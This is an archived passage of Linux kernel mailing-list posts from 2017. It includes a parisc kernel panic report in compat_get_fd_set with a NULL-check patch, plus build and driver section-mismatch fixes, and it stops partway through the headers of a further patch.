--- a/fs/select.c
+++ b/fs/select.c
@@ -1181,6 +1181,8 @@ int compat_get_fd_set(unsigned long nr, =
compat_ulong_t __user *ufdset,
 		if (odd && __get_user(*fdset, ufdset))
 			return -EFAULT;
 	} else {
+		if (!fdset)
+			return -EFAULT;
 		/* Tricky, must clear full unsigned long in the
 		 * kernel fdset at the end, this makes sure that
 		 * actually happens.

--Apple-Mail-12-959599694
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

PS: the above crash is what broke the dsa-puppet git archive on mx3210.
--Apple-Mail-12-959599694--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: Kernel panic in fs compat layer
Date: Sun, 20 Aug 2017 20:39:03 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <20170820183903.GA23618@ls3530.fritz.box>
References: <E754A6C6-AA72-43F1-A799-E48A2146BF17@bell.net>
 <887D24D5-832C-409A-83AF-646E4937E87E@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503254348 26797 195.159.176.226 (20 Aug 2017 18:39:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 20 Aug 2017 18:39:08 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@zeniv.linux.org.uk>, linux-fsdevel@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-fsdevel-owner@vger.kernel.org Sun Aug 20 20:39:05 2017
Return-path: <linux-fsdevel-owner@vger.kernel.org>
Envelope-to: lnx-linux-fsdevel@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-fsdevel-owner@vger.kernel.org>)
	id 1djV7o-0006iL-IP
	for lnx-linux-fsdevel@m.gmane.org; Sun, 20 Aug 2017 20:39:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753414AbdHTSjJ (ORCPT <rfc822;lnx-linux-fsdevel@m.gmane.org>);
        Sun, 20 Aug 2017 14:39:09 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:62431 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753411AbdHTSjI (ORCPT <rfc822;linux-fsdevel@vger.kernel.org>);
        Sun, 20 Aug 2017 14:39:08 -0400
Original-Received: from ls3530.fritz.box ([193.159.28.39]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LsTDk-1dYL4L0bQ8-011zhH; Sun, 20
 Aug 2017 20:39:05 +0200
Content-Disposition: inline
In-Reply-To: <887D24D5-832C-409A-83AF-646E4937E87E@bell.net>
X-Provags-ID: V03:K0:m8sLswc1Z1r2NL/AGOlJJnMFV89DH8GUCZorCkqAjOXfjYWmIPy
 xxYj6AiWo9jlBIcq5X/IM3Ox/jFpD873AxGHv1aIL1N2uMkzMono0r+41Mp3JBjjgpPFl4g
 w8z/Fycyh9TECwJ3SEqrxHcAaV5DtYj8e5xVyteNrtGeqg1AyGcee3zwpzBnstpQjvkVto3
 os9SU+JCoN691WAiI9gnQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:/jDMj8IsNXA=:qM/ny/chVDSV6C0lI1SJzB
 Lqn6Fg89ptlcsXPRzUQJ6D5FSExBlIf/o67f8IfN62v8ZjsJZxGS29OGH+BjVAQwRKksOuO5L
 kf//9kqyNP/0H2Tm1x2GFCAfW62y6xcjM1pqZAUj36xU6LoIb/92XLYqzpOpSN4rfEfF7kysc
 6OwNiPh0xRemQWvUKs/CCklU8kwBOwaZIYjeBJfcdPid6lDplix5HQ7cx4www6StRwzdpYwPr
 ISKTNa4YZcWdWlBC0nyFxtic6szIPY+peecE/HX34Za8YyY8YSuZoYTQ3+Qae5JQ9NvP74ofm
 MG8KJWUeLvvDCMhWX48gcAeF6z8AlpmRF1WLyJuJQlWMQvXnQdM71Zw87HGqnrv4Ag4VOYj8W
 qsuPrtoUFzgrg10GCr2FnW81cf3JiG/d/ffi5jsLS+q+ChQpj5jLmTxXezRMcjk91zAnJ0RtT
 IvpC11LVRFzxFn/7StMAF+RS1OgAxX6jRbYrQVixZErYFWTgChceWCF2vGoOVUZMjH/203uHi
 zDHEtI1vWnFX4xaMCqMVYa9Q7c5OV/FjLX1DXa+hsty+DRqejMyUbWrqxgUMmfelsmoZ89d2r
 Y6H1wiBHMfLLMzHgesfz+NYC7Y0WHI5oOaZx7gusCL+y0aDz9ckb+bC16LL/oQWNLJSwzwatW
 /18DNbzODs8dc5g1bMWfAVBBiyA5ugpv2X33UMF3hzIcvCEjkwBDy4t0fpwkIiXlf5DnwrqiY
 DXBs/jmoFqRSY+bcl5ZRbHp6SeK8FCaDity4S9Tvy+IAV2BlommcPJkbswbIomGuUr5+XIWT 
Original-Sender: linux-fsdevel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-fsdevel.vger.kernel.org>
X-Mailing-List: linux-fsdevel@vger.kernel.org
Xref: news.gmane.org gmane.linux.file-systems:125625 gmane.linux.ports.parisc:27722
Archived-At: <http://permalink.gmane.org/gmane.linux.file-systems/125625>

Looping in the linux-fsdevel mailing list in this mail....

Dave faced a kernel crash on parisc with 32-bit userspace on 64-bit kernel.
It seems the patch below fixes this bug.

Helge

* John David Anglin <dave.anglin@bell.net>:
> On 2017-08-19, at 8:56 AM, John David Anglin wrote:
> 
> > mx3210 login: systemd-logind[4461]: New seat seat0.
> > systemd-logind[4461]: Failed to start user service, ignoring: Unknown unit: user@0.service
> > systemd-logind[4461]: Failed to start user service, ignoring: Unknown unit: user@110.service
> > Backtrace:
> > [<00000000402f316c>] compat_get_fd_set+0x5c/0x78
> > [<00000000402f3cac>] compat_core_sys_select+0x1cc/0x300
> > [<00000000402f52dc>] compat_SyS_select+0x144/0x1a0
> > [<0000000040155fe4>] syscall_exit+0x0/0x14
> > 
> > 
> > Kernel Fault: Code=26 (Data memory access rights trap) regs=00000002234b84e0 (Addr=0000000000000000)
> > CPU: 1 PID: 21167 Comm: polyimport Not tainted 4.13.0-rc5+ #1
> > task: 0000000223d74b50 task.stack: 00000002234b8000
> > 
> > YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00001000000001101111111100001111 Not tainted
> > r00-03 000000ff0806ff0f 00000002234b8420 00000000402f316c 00000002234b84a0
> > r04-07 000000004071c960 00000002234b82b8 00000002234b8218 0000000000000100
> > r08-11 0000000000000004 0000000000000100 00000000f3780588 0000000000000000
> > r12-15 0000000000000000 00000002234b8148 0000000000000000 00000002234b8218
> > r16-19 0000000000000000 000000000002f03c 000000000002f030 0000000000000000
> > r20-23 0000000000000100 0000000000000000 00000002234b8148 0000000000000000
> > r24-27 0000000000000100 0000000000000000 0000000000000000 000000004071c960
> > r28-31 0000000000000000 00000002234b8470 00000002234b84e0 0000000000000000
> > sr00-03 0000000003f15000 0000000003f15000 0000000003f15000 0000000003f15000
> > sr04-07 0000000000000000 0000000000000000 0000000000000000 0000000000000000
> > 
> > IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000406a4718 00000000406a471c
> > IIR: 0ff312c0 ISR: 0000000000000000 IOR: 0000000000000000
> > CPU: 1 CR30: 00000002234b8000 CR31: b33e06ff0008e07f
> > ORIG_R28: 0000000000000040
> > IAOQ[0]: memset+0x68/0xd8
> > IAOQ[1]: memset+0x6c/0xd8
> > RP(r2): compat_get_fd_set+0x5c/0x78
> > Backtrace:
> > [<00000000402f316c>] compat_get_fd_set+0x5c/0x78
> > [<00000000402f3cac>] compat_core_sys_select+0x1cc/0x300
> > [<00000000402f52dc>] compat_SyS_select+0x144/0x1a0
> > [<0000000040155fe4>] syscall_exit+0x0/0x14
> > 
> > Kernel panic - not syncing: Kernel Fault
> > ---[ end Kernel panic - not syncing: Kernel Fault
> 
> 
> The attached patch is probably not the real fix but it should prevent the panic.
> 
> 

> diff --git a/fs/select.c b/fs/select.c
> index d6c652a31e99..8790c0a0bd3c 100644
> --- a/fs/select.c
> +++ b/fs/select.c
> @@ -1181,6 +1181,8 @@ int compat_get_fd_set(unsigned long nr, compat_ulong_t __user *ufdset,
>  		if (odd && __get_user(*fdset, ufdset))
>  			return -EFAULT;
>  	} else {
> +		if (!fdset)
> +			return -EFAULT;
>  		/* Tricky, must clear full unsigned long in the
>  		 * kernel fdset at the end, this makes sure that
>  		 * actually happens.



From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC][PATCH] parisc: Add support for self-extracting kernel
Date: Mon, 21 Aug 2017 16:24:34 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20170821142434.GA7148@p100.box>
References: <20170820085222.GA10546@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503325489 18085 195.159.176.226 (21 Aug 2017 14:24:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 14:24:49 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 16:24:45 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djnd8-0003Yh-CG
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 16:24:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753264AbdHUOYp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 10:24:45 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:57879 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753491AbdHUOYo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 10:24:44 -0400
Original-Received: from p100.box ([193.159.21.213]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LgeFd-1dGDVB2RM5-00o0q1; Mon, 21
 Aug 2017 16:24:36 +0200
Content-Disposition: inline
In-Reply-To: <20170820085222.GA10546@p100.box>
X-Provags-ID: V03:K0:3LQKD64rT/A4EJEvNIYZnlYXopVAtQJDc73bwUeTJNKo1JBEYxE
 eYX68207KFTNXgyIvX74HyJMLcGkF71v+cUt7bybwBwx9boEy0JHYOtEelo/e31N3ZjIzpn
 HFWeOBsa3bDb93knep5mE7pAdatglYrFzuQ4NwdD4YzoJ1vh796QEuKbfRnnJPFz/jWVgES
 PKiO1mQJnoVBy6zrYSGmw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:zV3nRdpaqiU=:sUOvB4o26YzPzLtzP4HQbH
 YcH5znxsMHAsDJCPTLkbanzmwZYr6JoaBXs7v5wAWzJaPONuUcyqeeFPMqdlmhXT/D5vWHv1Z
 NU5v+QMGlJDZSucCXTus6PSoDpSOOCU7n7JT1gSSTkcMO7UGzXj3GkEDxhq73PGMW4Xmjilr3
 RXeS5GeYp9DcXwNro/Qzr1w1exnWpeeSIHM9PI9a3ilAKkG60mjBSwpo+EMnfXSBKj5g12tgK
 k8xfMb1q18FD+pv8vgUwazV+Cbi+hOW/J182AfrMGJjkB/hbUWqirsVDsXWqEykDWCUM0S4pv
 F8C8vUitBwf6v62e0bwR/FrMnIoz1VFJAnqoReO7EPjUlg1ljLRVrc0eijvfSacpBbyzPxhLJ
 tggEyxnv1HHnIYZ4xpmKSnpSrFcs37+zycUgDn49S+aa1K3pcu+DMamqAjHNGU7BAnGLz/BrV
 lx+8S7Z9WouxTA4We4rIIJMvG7tQfu4e9fAm434PTE75VYxsGKt8630RJXubQOx3C8Xm/Xm4l
 t37RX7b0BdggRczG+AXlQsvM2hUNJ9yHX0LND87e97uGaCbSlirK2vWQmgwrPt9d0NCGj/Xds
 Tjhfspz8GGytEmb546q3CB5S3s1Q6Myj4Q1+WXassA0EtgZXRzBPHduK5EXng1F+Kgkjbgjhu
 FR3dr3i60YxDTwjld/ukpzagPotc8fLoYedFXZlM39co3aNKNw9JJMSP/VRkhk52ob7rAuoiB
 coC9YToC4jgJold8/tKnJPZKKJRllGm/vfOi0li97D4g0qM7SbnNoD8kCuTIrh3LFAYxZ+b0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27723
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27723>

The patch below is missing on top of the old patch I sent.
It's needed to avoid usage of fp registers.
This patch unbreaks booting the lzma variants (XZ, LZO, LZMA,...)

Signed-off-by: Helge Deller <deller@gmx.de>

Helge

diff --git a/arch/parisc/boot/compressed/Makefile b/arch/parisc/boot/compressed/Makefile
index 9b2d304..5450a11 100644
--- a/arch/parisc/boot/compressed/Makefile
+++ b/arch/parisc/boot/compressed/Makefile
@@ -15,8 +15,7 @@ targets += misc.o piggy.o sizes.h head.o real2.o firmware.o
 KBUILD_CFLAGS := -D__KERNEL__ -O2 -DBOOTLOADER
 KBUILD_CFLAGS += -DDISABLE_BRANCH_PROFILING
 KBUILD_CFLAGS += $(cflags-y) -fno-delete-null-pointer-checks
-KBUILD_CFLAGS += $(call cc-option,-mpacked-stack)
-KBUILD_CFLAGS += -fno-PIE -mno-space-regs
+KBUILD_CFLAGS += -fno-PIE -mno-space-regs -mdisable-fpregs
 ifndef CONFIG_64BIT
 KBUILD_CFLAGS += -mfast-indirect-calls
 endif
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 05/14] parisc/8250_gsc: Fix section mismatches
Date: Mon, 21 Aug 2017 22:22:52 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <1503346981-28024-6-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503346996 9503 195.159.176.226 (21 Aug 2017 20:23:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:16 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtE7-0000lq-PO
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753785AbdHUUXS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:18 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:54854 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753628AbdHUUXS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:18 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M20Jj-1dPLTA2ns3-00tyM0; Mon, 21
 Aug 2017 22:23:03 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:JrJ8xYVm+wDpk19oPKk0LdM0ITtTYrxGzd+IM2z0lUOpSys6peS
 SXej2kIx/MHpFhJt661VS9DxLKkEuRIkLiVYbSdeXwQjHc0pdQRYea98JfDSAbT+B+EF+JE
 +i35MF3jTc223YO4j2aelMrNoFcq2qTXVLqDZzQ6p0p+MR0uBcgLs7y4eWdJl37FGd3K4u7
 Ovzyp6CIc0HNrj8KPMQzA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:hRt+Sb7zlh8=:tBXeDG6VcU04m5vt50lOPT
 rP32JmAoMHvkRiam1gg/pTS+cpK/N4V5m6QqxNtSMA9p8ndhEtpelg5yV2u0fKKfPnaSVhD3n
 p4FWG0y9y1J5lRiEyHKPyBit1odqfCZfm02I/nrtS3ChInPMRyO1a0pa86O4HHIJRIZ2i0kNK
 8+JJtWtck7IX9DZEDlIPfmgc1b+COjzrAHRBMe3nJQoX7F/14EXGj/flPC3diKPmt3ILn/bMt
 aaV5GRmAjyoemYHaXZvTLRvQarSrlVeHK/a7IUacobVr97suqQobJliS/x2SmHoeuljQhlRbY
 tWOUeUP02Yt10k06ayO2rk5o1MPei3F1QRL9/D0rLaZK1BbkE5USGp4K0LIkOdes3TH6XOMjO
 43nT6qegBGmma36A0o6mVJE8OT1Ze9gQZjcTXC2zrl+oWkfpIRLbSjjKQguVA4BPW4UbCp3WQ
 HWGk9FPexhg6Kenc6WjIKiqgPje57zQWABQSpGbq1neJ9B005oe4jt5gvyZ/f0BbEc82vkdeD
 +VeuN3x9O+1qC4Gmg4SDPsRtzfnOal/M+VHhUO7k5Y+v0rgjxAbWtyR9d9aaajzORKY36j4hl
 vEfykinBusf85wJg5D16WzRbUzlfAqIDrqqzk5o2fZyF4WATVtVR8sVByJ7cxSEzROsO4UCW+
 DiV1WvAblVBtazCgBNlKDypW8Jw5rAeDEDyYbfHB5YCvzuiAYbXOkaZueWFznu/aq0NQPgojU
 tUtTTRGaSNt3c6a7s9AP2X91VnBDYne+SRzp+GgH3P4OAV0Fyj5aV0e3aoLC/gfQCVnB1pOn 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27724
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27724>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 drivers/tty/serial/8250/8250_gsc.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/8250/8250_gsc.c
index 63306de..e142ab2 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -80,7 +80,7 @@ static int __init serial_init_chip(struct parisc_device *dev)
 	return 0;
 }
 
-static struct parisc_device_id serial_tbl[] = {
+static struct parisc_device_id serial_tbl[] __initconst = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00075 },
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008c },
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008d },
@@ -94,7 +94,7 @@ static struct parisc_device_id serial_tbl[] = {
  * which only knows about Lasi and then a second which will find all the
  * other serial ports.  HPUX ignores this problem.
  */
-static struct parisc_device_id lasi_tbl[] = {
+static struct parisc_device_id lasi_tbl[] __initconst = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x03B, 0x0008C }, /* C1xx/C1xxL */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x03C, 0x0008C }, /* B132L */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x03D, 0x0008C }, /* B160L */
@@ -110,13 +110,13 @@ static struct parisc_device_id lasi_tbl[] = {
 
 MODULE_DEVICE_TABLE(parisc, serial_tbl);
 
-static struct parisc_driver lasi_driver = {
+static struct parisc_driver lasi_driver __refdata = {
 	.name		= "serial_1",
 	.id_table	= lasi_tbl,
 	.probe		= serial_init_chip,
 };
 
-static struct parisc_driver serial_driver = {
+static struct parisc_driver serial_driver __refdata = {
 	.name		= "serial",
 	.id_table	= serial_tbl,
 	.probe		= serial_init_chip,
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 08/14] parisc/parport_gsc: Fix section mismatches
Date: Mon, 21 Aug 2017 22:22:55 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <1503346981-28024-9-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347004 10897 195.159.176.226 (21 Aug 2017 20:23:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:24 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:20 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEF-0000lq-9Q
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754319AbdHUUX0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:26 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:57707 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753628AbdHUUXZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:25 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Mchyv-1e18zh0Yuf-00Hse6; Mon, 21
 Aug 2017 22:23:04 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:iYFtEJjtX8f/m3CslV1WwZoRolS4RJWhnjcgXJGBh3DiRtqt+oj
 K9pGBHeBcHrX/jIBSq1G2pjkJ/y+jsTVANlZKbRpkdJ4zLCRopPZ6F9VzLCDxR61BWBTxMC
 OU2bQqZplXlJA3KqY/lwq/iSR8m/Hw4Y4GMRX+G4R/WOOuLhNQ+hf+fjS/RRq5kFVSOBJ2I
 RuHnfJzFSu+EetvoAP+RQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:SywO3PkONOk=:0hhJQKriQIUxhelOm2U4v7
 EFjLlGELYfxbvNcuzKH5ueAldgcPwW9rd597l5QiyKvO9PlqVsuIKC6lKMCIRipfaiCz4SYrj
 g+Y7PsWGeHC8FoEeZhuzLnhwOISUgm0xET+0nYhWvl1paTwdHd0tTbn45aRZoPTe+v1Q3wJSA
 bwLmnIIszYLTJ5YxOIOzemefAREp0+g6a2iinQ9TEJGAw76q6KDNDWVhBB5VH6oG6q4ZBlkSO
 P2gr+ttSuhiRvHX7aBfHFtm1ca1CaBGYeI8IToC4YCL/6YByUIqIbsQMTDmXuugDVQUsiUmN7
 7B51hIEJwIc7QrdwhEGdn0UE4Y1280MaBY+PUyryGdSDxq5m9Od1PpT56+zMnCzZGDbDqYUpA
 azKQ+ir13QaGACRLKWA/7PnlABNDOrT649ia+5UzcnkZTEZuRSyNMcypw5Z3NqwO/LeYGuhdc
 P1RHBaBbWM0w8lVjyvnXUuF9CUHjCmeEpnw7w14zWRKz5AjdeefUaPm3MA8cWDE/4cJRIqtln
 gQ/+Re52XRsgeyy8mnoH8HhYzh+9xwbFynsD0w7yYnBQ0SpZzpuww7bhHtJ6GXMOXhn0dRd6c
 ClhXBMlXJNqEQqjlyIYxG4rQ2J3llrGyo6sn9/Wx3f4JN5Zu3oLP4LsXkpBdZaw65qvNpqIiC
 bkO+06AFUElCt43ozF2py8zhdl8/zoK1z0Co/CLTG8d3cJnocKmXGFy5slkbociGiHY+oS4DM
 GgqJKweCi/Dt1YfLSSMFQSeNo9B8wYaxZvaeWevsoTlgC/FWrYwCG8OmcK50JOVhh5CLdX6Q 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27725
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27725>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 drivers/parport/parport_gsc.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/drivers/parport/parport_gsc.c b/drivers/parport/parport_gsc.c
index 3858b87..435e6f7 100644
--- a/drivers/parport/parport_gsc.c
+++ b/drivers/parport/parport_gsc.c
@@ -346,7 +346,7 @@ struct parport *parport_gsc_probe_port(unsigned long base,
 
 static int parport_count;
 
-static int parport_init_chip(struct parisc_device *dev)
+static int __init parport_init_chip(struct parisc_device *dev)
 {
 	struct parport *p;
 	unsigned long port;
@@ -381,7 +381,7 @@ static int parport_init_chip(struct parisc_device *dev)
 	return 0;
 }
 
-static int parport_remove_chip(struct parisc_device *dev)
+static int __exit parport_remove_chip(struct parisc_device *dev)
 {
 	struct parport *p = dev_get_drvdata(&dev->dev);
 	if (p) {
@@ -403,18 +403,18 @@ static int parport_remove_chip(struct parisc_device *dev)
 	return 0;
 }
 
-static struct parisc_device_id parport_tbl[] = {
+static struct parisc_device_id parport_tbl[] __initconst = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x74 },
 	{ 0, }
 };
 
 MODULE_DEVICE_TABLE(parisc, parport_tbl);
 
-static struct parisc_driver parport_driver = {
+static struct parisc_driver parport_driver __refdata = {
 	.name		= "Parallel",
 	.id_table	= parport_tbl,
 	.probe		= parport_init_chip,
-	.remove		= parport_remove_chip,
+	.remove		= __exit_p(parport_remove_chip),
 };
 
 int parport_gsc_init(void)
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 04/14] parisc/mux: Fix section mismatches
Date: Mon, 21 Aug 2017 22:22:51 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <1503346981-28024-5-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347004 10909 195.159.176.226 (21 Aug 2017 20:23:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:24 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:19 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEB-0000lq-ST
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:16 +0200
